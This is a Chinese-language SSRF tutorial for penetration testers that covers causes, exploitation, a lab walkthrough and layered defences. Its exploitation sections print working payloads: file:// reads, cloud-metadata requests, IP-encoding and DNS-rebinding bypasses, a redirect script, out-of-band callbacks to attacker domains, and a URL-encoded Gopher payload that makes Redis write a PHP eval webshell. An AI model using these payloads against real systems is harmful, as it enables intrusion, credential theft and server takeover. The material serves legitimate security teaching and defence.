
1. 项目概述从“代理”到“跳板”SSRF漏洞的本质剖析在Web安全测试的日常工作中我们经常会遇到一些看似功能正常、实则暗藏玄机的接口。比如一个允许用户提交URL来获取网络图片并生成缩略图的功能或者一个能够抓取远程网页内容进行预览的服务。这些功能的设计初衷往往是为了提升用户体验但在安全工程师眼里它们却可能是一个绝佳的“跳板”。这个跳板就是我们今天要深入探讨的SSRFServer-Side Request Forgery服务器端请求伪造漏洞。简单来说SSRF就是攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起HTTP请求。这听起来似乎没什么大不了服务器发个请求而已。但关键在于这个请求是从服务器内部网络发起的。想象一下你站在一个戒备森严的园区外网外面无法进入。但你说服了园区门口一个善良但有点糊涂的保安存在漏洞的Web应用让他帮你把一封信送到园区内某个机密办公室内网系统。保安拿着你的信恶意请求大摇大摆地走进去了因为他有内部通行证服务器的网络权限。SSRF漏洞就是这个“保安”它让攻击者得以窥探和攻击那些原本从互联网无法直接访问的内部系统。这个漏洞的危害范围远超普通漏洞。它不仅仅是获取点数据那么简单而是可能成为整个内网渗透的起点。通过SSRF攻击者可以扫描内网端口、探测内网服务、攻击内网脆弱的应用如Redis、Memcached、数据库甚至在某些配置下能读取服务器本地的敏感文件如/etc/passwd。结合其他漏洞它还能用于绕过身份验证、进行远程代码执行。因此无论是甲方安全建设中的渗透测试还是乙方安全研究中的漏洞挖掘SSRF都是一个必须熟练掌握且重点排查的高危漏洞类型。2. SSRF漏洞成因深度解析信任的边界在哪里要理解SSRF必须从它的根源——服务器对用户输入URL的过度信任和不当处理——说起。几乎所有SSRF漏洞的出现都绕不开以下几个核心场景。2.1 核心场景功能与漏洞的一体两面场景一远程资源获取与处理这是最常见的场景。开发者为了实现某个功能需要让服务器去获取互联网上的资源。例如图片处理用户上传一个图片URL服务器下载该图片然后进行裁剪、压缩、添加水印。网页抓取/预览在社交平台分享链接时服务器会抓取该链接的标题、描述和缩略图。文件导入允许用户通过一个URL来导入远程的CSV、XML配置文件。数据聚合从多个第三方API获取数据URL由前端传递。在这些场景下后端代码通常会使用如curl、file_get_contents、requests等函数去获取用户提供的URL内容。如果后端没有对URL的协议、主机名、端口和路径进行严格的校验和过滤攻击者就可以将URL指向任意地址包括内网地址如http://192.168.1.1:8080/admin或本地文件如file:///etc/passwd。场景二内部服务调用与代理有些应用架构中前端无法直接调用某些后端服务如数据库、缓存、搜索集群需要通过一个中间Web应用来转发请求。例如API网关/代理前端请求/api/proxy?targethttp://internal-service:8080/data后端服务器将请求转发给internal-service。SSO回调验证在OAuth等认证流程中服务器需要根据前端传来的回调URL去向认证服务器发起请求以验证token。如果这个代理或回调接口没有对target参数进行访问控制攻击者就可以将其篡改为任意内网地址让服务器成为攻击内网的“代理器”。场景三URL解析与重定向的陷阱一些更隐蔽的SSRF源于URL解析库与后端HTTP客户端库之间的差异或者对重定向的处理不当。解析差异攻击者可能提交一个包含符号、#片段或利用DNS重绑定的畸形URL。例如http://fooevil.com在某些解析中可能被理解为访问evil.com但另一些库可能认为用户是foo主机是evil.com一个无效主机而有些库则会正确解析为访问evil.com。如果前端校验和后端请求库的解析逻辑不一致就可能绕过校验。重定向跟随如果应用允许并跟随HTTP 30x重定向攻击者可以先提供一个合法的、能通过校验的URL如http://attacker.com/redirect.php而这个redirect.php返回一个指向内网地址的302 Found响应。服务器在跟随重定向时就会请求内网地址。2.2 漏洞产生的技术根源缺乏输入校验与白名单机制这是最根本的原因。代码直接信任了用户传入的完整URL没有检查目标IP是否属于内网保留段如10.0.0.0/8,172.16.0.0/12,192.168.0.0/16以及回环地址127.0.0.0/8也没有限制可用的协议通常只应允许http和https禁止file、gopher、dict、ftp等危险协议。错误的使用了“黑名单”有些开发者知道要过滤但只是简单过滤127.0.0.1、localhost这样的字符串。攻击者很容易通过进制转换2130706433即127.0.0.1的十进制、域名指向将127.0.0.1解析成自己的域名、IPv6格式::1、甚至利用URL解析特性127.0.0.1.nip.io解析到127.0.0.1来绕过。服务器网络权限过高存在漏洞的Web应用通常运行在具有较高权限的服务器上这台服务器往往位于内网可以访问很多其他内部系统。如果应用以root或高权限账户运行利用file://协议读取本地敏感文件的风险会更大。盲SSRF与响应回显SSRF分为有回显和盲打两种。有回显是指服务器将请求的结果如图片内容、网页HTML返回给了用户攻击者能直接看到。盲打Blind SSRF则是服务器发起了请求但响应内容不返回给前端攻击者只能通过旁路信息如请求时间延迟、DNS解析记录、或触发内网服务的特定行为如反弹shell来判断漏洞是否存在和利用是否成功。盲SSRF更难利用但同样危险。注意很多开发者和初级安全人员会混淆SSRF和CSRF。CSRF是跨站请求伪造核心是“利用用户的登录状态”去执行非本意的操作攻击对象是用户。而SSRF是服务器端请求伪造核心是“利用服务器的网络权限”去发起请求攻击对象是服务器及其所在内网。两者有本质区别。3. SSRF漏洞利用方式全解从信息探测到内网漫游理解了成因我们来看看攻击者手里有哪些“武器”。SSRF的利用方式非常多样其危害深度很大程度上取决于内网环境和服务配置。3.1 基础信息探测绘制内网地图这是SSRF最直接的应用。攻击者可以将目标URL设置为内网IP的不同端口通过观察服务器的响应时间、状态码或返回内容来判断端口是否开放以及运行了什么服务。利用方式示例以有回显的SSRF为例假设存在漏洞的接口为http://vuln-site.com/fetch?urlhttp://target。端口扫描攻击者批量请求urlhttp://192.168.1.1:22、:80、:3306、:6379等。如果连接被拒绝或超时可能是端口关闭如果返回特定服务的banner信息如HTTP的200 OKRedis的-ERR wrong number of arguments则说明端口开放。服务指纹识别根据返回的banner、HTML标题、错误页面等识别内网中运行的Web框架如Jenkins, Confluence、数据库Redis, MongoDB、缓存服务等。实操心得在进行端口探测时使用时间延迟作为判断依据更可靠。例如请求一个开放的SSH端口22通常会立即返回“连接被拒绝”而请求一个不存在的IP或关闭的端口可能会等待更长的TCP超时时间。可以编写脚本对比不同请求的响应时间差异。3.2 攻击内网Web应用一旦发现内网存在Web应用SSRF就可以作为攻击的桥梁。访问默认/未授权管理界面很多内部系统如路由器192.168.1.1、交换机、打印机、监控系统有Web管理界面且默认密码或存在未授权访问漏洞。通过SSRF直接访问这些界面可能获取控制权。利用已知漏洞如果内网Web应用存在SQL注入、命令执行等漏洞攻击者可以通过SSRF构造相应的HTTP请求包进行攻击。例如攻击一个内网的Struts2命令执行漏洞。攻击云服务元数据在云环境AWS, Azure, GCP, Alibaba Cloud中实例内部可以通过一个特殊的内部地址如AWS的http://169.254.169.254访问元数据服务获取敏感信息如AccessKey、SecretToken、甚至用户数据。如果存在SSRF漏洞攻击者就可以让服务器去访问这个元数据端点从而窃取云服务器的临时凭证进一步接管整个云资源。3.3 利用危险协议扩大战果某些协议本身设计就支持执行复杂操作当后端请求库支持这些协议时SSRF的破坏力会急剧上升。file:// 协议读取服务器本地文件。urlfile:///etc/passwd可以读取系统用户列表urlfile:///proc/self/environ可能泄露环境变量中的密钥urlfile:///var/www/html/config.php可能直接拿到数据库密码。dict:// 协议通常用于查询字典服务器但它可以用于与某些服务的端口进行简单的交互从而探测服务信息。例如向Redis的6379端口发送一个dict://127.0.0.1:6379/info请求可能获取Redis信息。gopher:// 协议这是一个“万能”协议它可以封装成其他协议的请求如HTTP、Redis、MySQL等发送任意格式的TCP数据包。这是SSRF利用中的“大杀器”。攻击Redis通过Gopher协议发送一条Redis命令如果Redis未授权访问可以直接写入Webshell。例如构造一个设置crontab或写authorized_keys的Payload。攻击FastCGI通过Gopher协议向127.0.0.1:9000发送精心构造的FastCGI协议包可能实现远程代码执行。攻击内网HTTP服务发送完整的POST请求包绕过一些基于GET参数的黑名单过滤。注意事项现代编程语言和库如Python的requests PHP的stream_context可能默认不支持或不完全支持gopher、dict等协议。能否利用成功高度依赖于后端服务器实际使用的网络请求库及其配置。在测试时需要先确认协议支持情况。3.4 绕过防御技巧实录随着安全意识的提升很多应用都增加了SSRF的防护。攻击者也在不断进化绕过技巧。IP地址的多种表示法十进制IPhttp://2130706433等价于http://127.0.0.1。八进制IPhttp://0177.0.0.1在部分环境下。十六进制IPhttp://0x7f.0x0.0x0.0x1。混合表示http://127.1、http://127.0.1。IPv6地址http://[::1]/或http://[::ffff:127.0.0.1]/。利用域名解析DNS Rebinding 这是绕过IP黑名单的终极技巧之一。攻击者控制一个域名如evil.com将其DNS记录的TTL设置为极短如0秒。首先该域名解析到一个合法的、允许访问的外网IP如1.2.3.4。存在漏洞的服务器在第一次校验域名时看到的是外网IP通过校验。随后服务器真正发起请求去获取evil.com的内容时攻击者迅速将evil.com的DNS记录更改为一个内网IP如192.168.1.1。由于某些HTTP客户端或操作系统的DNS缓存机制可能因TTL为0而不缓存或者校验和请求发生在不同时刻/不同服务上就会导致服务器实际请求的是内网地址从而绕过校验。利用URL解析歧义利用http://foobar.com中foo是用户名bar.com是主机。但如果过滤不严可以尝试http://127.0.0.1evil.com某些解析器可能会忽略前的部分不这里需要理解在URL中http://xy意味着以用户x访问主机y。更常见的绕过是利用#和?。利用#片段标识符片段#之后的内容通常不会发送到服务器。但攻击者可以尝试http://evil.com#127.0.0.1如果校验逻辑错误地截取了#前的主机名evil.com而请求库却错误地将整个字符串解析为访问127.0.0.1实际上不会因为#后是片段这种场景较少。更有效的是利用?。利用?和重定向如之前所述提供一个合法URL其服务端返回重定向到内网地址。攻击链组合 SSRF很少单独造成毁灭性打击但它是一个完美的“垫脚石”。结合其他漏洞可以形成杀伤链SSRF Redis未授权访问- 写入Webshell或SSH密钥 - 服务器沦陷。SSRF 云元数据服务- 获取临时凭证 - 控制云上其他资源。SSRF 内网脆弱应用RCE- 在内网获得第一个立足点 - 横向移动。4. 实战演练从靶场到真实场景的SSRF漏洞挖掘与利用理论讲得再多不如亲手操作一遍。我们以一个典型的场景为例模拟一次完整的SSRF漏洞发现、验证和利用过程。这里我们假设目标是一个图片处理服务。4.1 环境搭建与目标识别假设目标应用有一个功能用户输入一个图片URL后台会抓取该图片并生成一个200x200的缩略图展示给用户。前端请求大概是这样POST /api/thumbnail Content-Type: application/json {image_url: https://example.com/pic.jpg}第一步基础测试我们首先测试这个接口是否真的存在SSRF。测试回显将image_url改为一个自己控制的公网服务器地址http://your-vps.com/test。观察返回的缩略图是否变成了你服务器上test文件的内容比如一个纯色图片。如果是证明存在有回显的SSRF。测试协议尝试file:///etc/passwd。如果返回了用户列表的乱码因为不是图片格式或者接口报错但错误信息中包含了文件内容片段说明file协议可用。测试内网探测尝试http://127.0.0.1:80。如果返回了本机Web服务的页面可能是Apache的默认页说明可以访问回环地址。第二步绕过可能的过滤如果上述直接测试被拦截返回如“URL不合法”或“禁止访问内网”的错误我们需要开始绕过了。尝试IP变形使用http://0177.0.0.1(八进制) 或http://2130706433(十进制) 代替127.0.0.1。尝试域名指向将自己的域名ssrf.attacker.com的A记录指向127.0.0.1然后提交http://ssrf.attacker.com。这可以绕过基于IP字符串的黑名单。利用重定向在自己的服务器上部署一个简单的PHP脚本redirect.php?php header(Location: http://127.0.0.1:80/); ?然后提交image_urlhttp://your-vps.com/redirect.php。如果服务器跟随了302重定向它最终会请求到127.0.0.1。4.2 利用Gopher协议攻击内网Redis假设通过探测我们发现目标服务器的127.0.0.1:6379端口开放且Redis未设置密码。我们的目标是利用SSRF通过Gopher协议向Redis发送命令在Web目录写入一个一句话木马。前置条件后端请求库支持Gopher协议例如某些旧版本或特定配置下的PHP的file_get_contents()或curl。操作步骤构造Redis命令我们需要让Redis写入一个文件。假设已知Web根目录是/var/www/html。原始Redis命令序列换行需用\r\nflushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save quit将命令转换为Gopher Payload Gopher协议格式为gopher://host:port/_TCP数据流。其中TCP数据流需要是URL编码后的。Redis使用RESP协议我们可以用工具如redis-cli --pipe配合抓包或使用现成的脚本来生成Payload。一个简化手动构造的思路是将每条Redis命令转换成RESP数组格式。例如set shell ?php ... ?的RESP表示是*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$35\r\n?php eval($_POST[cmd]);?\r\n。 将整个对话包括quit的所有RESP字符串拼接然后进行URL编码最后拼接到Gopher URL后面。发起SSRF请求将构造好的Gopher URL作为image_url参数提交。{image_url: gopher://127.0.0.1:6379/_%2A3%0D%0A%24%33%0D%0Aset%0D%0A%24%35%0D%0Ashell%0D%0A%24%33%35%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A%34%0D%0A%24%36%0D%0Aconfig%0D%0A%24%33%0D%0Aset%0D%0A%24%33%0D%0Adir%0D%0A%24%31%33%0D%0A/var/www/html%0D%0A...后续命令编码}验证利用结果访问http://target-site.com/shell.php如果存在且能执行phpinfo();等命令则利用成功。重要提示此过程高度依赖于环境Redis版本、配置、Web目录权限、PHP是否禁用危险函数等。在实际渗透测试中务必获得授权并在隔离的靶场环境中进行练习。上述命令flushall会清空Redis所有数据在生产环境中是破坏性操作。4.3 盲SSRF的利用与外带数据如果目标SSRF没有回显Blind SSRF我们无法直接看到请求的响应。这时我们需要借助“外带数据通道”OOB, Out-Of-Band来验证漏洞存在并获取信息。常用外带技术DNS日志这是最常用、最有效的方法。我们提交一个包含唯一子域名的URL如http://uniqueid.attacker-dns-server.com。即使服务器不返回HTTP响应体它也需要解析这个域名。我们可以在自己控制的DNS服务器上查看解析日志如果收到了对uniqueid.attacker-dns-server.com的解析请求就证明SSRF漏洞存在并且服务器发起了请求。工具可以使用dnslog.cn、ceye.io等在线DNS日志平台或者自建DNS服务器。HTTP日志尝试让服务器访问我们控制的HTTP服务器并在URL路径或参数中携带信息。例如http://your-vps.com/ssrf_hit?tokenabc123。在我们的VPS的Web访问日志中如果看到这条记录就证明漏洞存在。对于盲SSRF我们甚至可以通过控制HTTP响应的状态码如延迟、返回特定大小的图片来传递少量信息但这比较复杂。时间延迟通过请求一个故意设置延迟响应的端点如sleep(10)观察原请求的响应时间是否显著变长来间接推断漏洞是否存在以及请求是否成功到达。盲SSRF内网端口探测技巧对于盲SSRF探测内网端口需要结合DNS和HTTP日志。构造一个Payload让服务器去访问http://192.168.1.1:80但这个地址会通过重定向或某种方式最终触发一个对我们可控域名的DNS解析或HTTP请求。例如我们控制一个服务当接收到来自192.168.1.1:80的请求时通过判断来源IP和端口就向port-80-open.attacker.com发起一个DNS查询。如果我们收到了port-80-open.attacker.com的DNS解析记录就说明192.168.1.1:80是开放的并且漏洞触发了请求。5. 防御之道从代码到架构的多层防护作为开发者或安全工程师如何构建针对SSRF的铜墙铁壁防御需要从多个层面综合考虑。5.1 代码层输入校验与安全编程这是最根本的防线。实施严格的白名单校验协议白名单只允许http和https。明确拒绝file、gopher、dict、ftp、ldap等危险协议。域名/IP白名单如果业务只允许获取少数几个可信站点的资源直接建立域名或IP白名单。这是最安全的做法。端口白名单如果无法限制目标主机至少限制端口只允许访问80、443等常用Web端口禁止访问22、6379、3306、27017等数据库和管理端口。进行彻底的URL解析与规范化使用编程语言标准库如Python的urllib.parse Java的java.net.URL解析用户输入的URL获取其scheme、host、port、path等组件并对每个组件进行校验。解析host后获取其真实的IP地址。使用DNS解析函数如gethostbyname将主机名解析为IP地址。注意这里要使用服务器后端代码去解析而不是信任前端传来的任何IP格式。检查解析后的IP地址是否属于内网或保留地址。需要过滤的网段包括IPv4:127.0.0.0/8(回环),10.0.0.0/8,172.16.0.0/12,192.168.0.0/16(私有网络)IPv4:0.0.0.0/8,169.254.0.0/16(链路本地),224.0.0.0/4(组播),240.0.0.0/4(保留)IPv6:::1/128(回环),fc00::/7(唯一本地地址),fe80::/10(链路本地)云元数据IP如169.254.169.254(AWS等)。禁用不必要的协议和重定向在发起网络请求的客户端库如curl, requests中明确禁用对危险协议的支持。禁止自动跟随HTTP重定向。如果业务需要重定向应对重定向后的目标URL再次执行上述白名单和黑名单校验。5.2 网络层最小权限与隔离网络访问控制运行Web应用的服务器即可能被利用的“跳板机”其出站网络权限应受到严格限制。通过防火墙或安全组策略只允许它访问业务真正需要的外部资源如特定的CDN、第三方API地址以及有限的、必要的内网服务如数据库。禁止其访问整个内网段和其他非必要的管理端口。使用网络代理与中间层对于必须由服务器发起外部请求的场景可以统一通过一个配置了严格出口过滤的正向代理或API网关来进行。所有出站请求都经过这个代理在代理层实施统一的URL过滤策略。这样即使应用层存在漏洞请求也会被代理层拦截。隔离关键服务将数据库、缓存、管理后台等关键内网服务部署在独立的、与Web服务器网络隔离的VPC或子网中Web服务器通过特定的、有严格ACL的网关或跳板机进行访问而不是直接互通。5.3 运维与配置层及时更新和打补丁确保服务器操作系统、编程语言环境、第三方库特别是网络请求库保持最新避免已知的解析漏洞或协议处理漏洞。使用安全的默认配置例如在PHP中可以在php.ini中设置allow_url_fopen Off和allow_url_include Off来禁用file_get_contents等函数对远程文件和本地文件通过URL的读取。但这会影响正常功能需权衡。对返回内容进行安全检查即使请求的目标是合法的返回的内容也可能包含恶意代码如图片中含有Webshell代码。应对下载的内容进行病毒扫描或格式严格验证如图片重采样。5.4 漏洞扫描与安全测试自动化扫描在CI/CD流程中集成SAST静态应用安全测试工具检查代码中是否存在不安全的URL获取函数调用。人工渗透测试定期进行渗透测试手动测试所有涉及URL参数的功能点尝试使用各种绕过技巧IP变形、DNS重绑定、危险协议等进行探测。监控与告警在服务器和网络层面部署监控对Web服务器向异常IP尤其是内网保留IP、元数据IP或异常端口发起的连接进行告警。防御SSRF是一个系统工程没有一劳永逸的银弹。最有效的方法是“白名单网络隔离”的组合拳。在代码层面尽最大努力进行校验在网络层面做好最坏的打算假设漏洞可能存在从而限制其可能造成的破坏范围。每一次对用户输入的无条件信任都可能为攻击者打开一扇通往内网的大门。